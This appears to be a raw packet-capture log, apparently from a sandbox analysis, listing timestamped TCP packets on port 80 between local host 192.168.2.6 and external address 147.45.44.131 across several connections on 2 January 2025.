Jan 2, 2025 19:14:17.737705946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737711906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737716913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737720013 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737723112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737728119 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737734079 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737739086 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737745047 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737747908 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737747908 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737751007 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737757921 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737828970 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.739345074 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.751563072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751652956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751660109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751666069 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751677036 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751682997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751688004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751693964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751722097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751727104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751734018 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751739979 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751746893 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751800060 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.751800060 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.751817942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751823902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751831055 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751836061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751842022 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751848936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751899004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751904964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751909971 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751921892 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751926899 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751933098 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751949072 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.751949072 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.751949072 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.751966953 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.751966953 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.751974106 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751982927 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751991987 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.751998901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752003908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752078056 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752084017 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752089977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752100945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752106905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752111912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752118111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752130985 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752144098 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.752144098 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.752336979 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752342939 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752348900 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752362013 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752370119 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752377987 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752384901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752387047 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.752389908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752396107 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752401114 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.752401114 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752407074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752412081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752417088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752418041 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.752423048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752429008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752433062 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.752440929 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.752440929 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.752451897 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.752811909 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.777487040 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.777498007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.777503967 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.777515888 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.777589083 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.777595997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.777602911 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.777621984 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.777637959 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.780493021 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.780499935 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.780505896 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.780512094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.780519009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.780524015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.780530930 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.780612946 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.780612946 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.795058966 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795073032 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795089960 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795095921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795103073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795109034 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795114994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795129061 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795136929 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795145035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795152903 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795161963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795170069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795176029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795238972 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.795238972 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.795783043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795789957 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795797110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795809031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795815945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795821905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795828104 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.795846939 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.795846939 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.796797991 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.797673941 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797722101 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797728062 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797734022 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797760010 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797765970 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797771931 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797784090 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797902107 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797903061 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.797909975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797915936 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797921896 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797928095 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797934055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797940016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797941923 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.797946930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797954082 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797962904 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.797966957 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.797975063 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798021078 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798027039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798032999 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798044920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798049927 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798055887 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798063993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798080921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798094988 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798095942 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798094988 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798094988 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798129082 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798135042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798141003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798146009 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798151970 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798158884 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798258066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798266888 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798275948 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798278093 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798278093 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798283100 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798290014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798290014 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798296928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798302889 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798310995 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798321962 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798325062 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798325062 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798350096 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798350096 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798372984 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798378944 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798384905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798397064 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798403025 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798410892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798422098 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798437119 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798444033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798449993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798456907 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798460960 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798492908 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798492908 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798492908 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798769951 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798801899 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798831940 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798839092 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798846006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798856974 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798863888 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798907995 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798926115 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798943043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798950911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798964977 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798966885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798974991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798981905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798986912 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.798991919 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.798995972 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.799015999 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.800803900 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.804729939 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804738045 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804745913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804785013 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804799080 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804805040 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804810047 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804822922 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804828882 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804881096 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.804881096 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.804883003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804888964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804894924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804900885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804907084 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.804925919 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.808784008 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.822165966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.822194099 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.822200060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.822212934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.822252035 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.822257996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.822269917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.822276115 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.822369099 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.823364019 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.823496103 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.823504925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.823513031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.823569059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.823575020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.823580980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.823585987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.823594093 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.823601007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.823606014 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.823625088 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.823625088 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824076891 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824084044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824090958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824098110 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824126005 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824135065 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824143887 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824146032 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824158907 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824161053 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824178934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824187994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824193954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824199915 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824203014 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824213982 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824208975 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824245930 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824260950 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824266911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824271917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824271917 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824271917 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824280977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824299097 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824304104 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824309111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824321985 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824322939 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824322939 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824330091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824342966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824342966 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824366093 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824402094 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824402094 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824492931 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824497938 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824503899 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824516058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824522018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824579000 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824587107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824596882 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824600935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824599028 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824599028 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824709892 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824718952 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824728012 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824739933 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824754000 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824836016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824842930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824850082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824862003 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824881077 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824894905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824912071 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824912071 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.824968100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824980974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824995041 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.824995041 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825001955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825015068 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825021029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825028896 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825037003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825045109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825051069 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825062037 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825062037 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825063944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825072050 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825077057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.825078011 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825078011 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825109005 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.825124025 CET	80	49728	147.45.44.131	192.168.2.6
